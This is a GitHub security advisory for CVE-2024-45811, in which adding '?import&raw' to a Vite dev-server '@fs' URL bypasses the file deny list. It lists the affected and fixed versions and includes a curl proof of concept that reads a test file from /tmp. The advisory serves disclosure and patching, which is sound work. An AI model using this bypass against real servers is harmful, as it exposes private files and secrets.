~ / search / GHSA-9cwx-2883-4wfx

GHSA-9cwx-2883-4wfx

Vite's `server.fs.deny` is bypassed when using `?import&raw`

Source: GitHub Advisory Database (reviewed) Moderate CVE-2024-45811

Packages

EcosystemPackageAffectedFixed in
npm vite >= 5.4.0, < 5.4.6 5.4.6
npm vite >= 5.3.0, < 5.3.6 5.3.6
npm vite >= 5.2.0, < 5.2.14 5.2.14
npm vite >= 4.0.0, < 4.5.4 4.5.4
npm vite < 3.2.11 3.2.11
npm vite >= 5.0.0, < 5.1.8 5.1.8

Details

As written in the advisory (Markdown source, shown as plain text).

### Summary The contents of arbitrary files can be returned to the browser. ### Details `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. ### PoC ```sh $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```

References

External links from the advisory. They lead to third-party sites.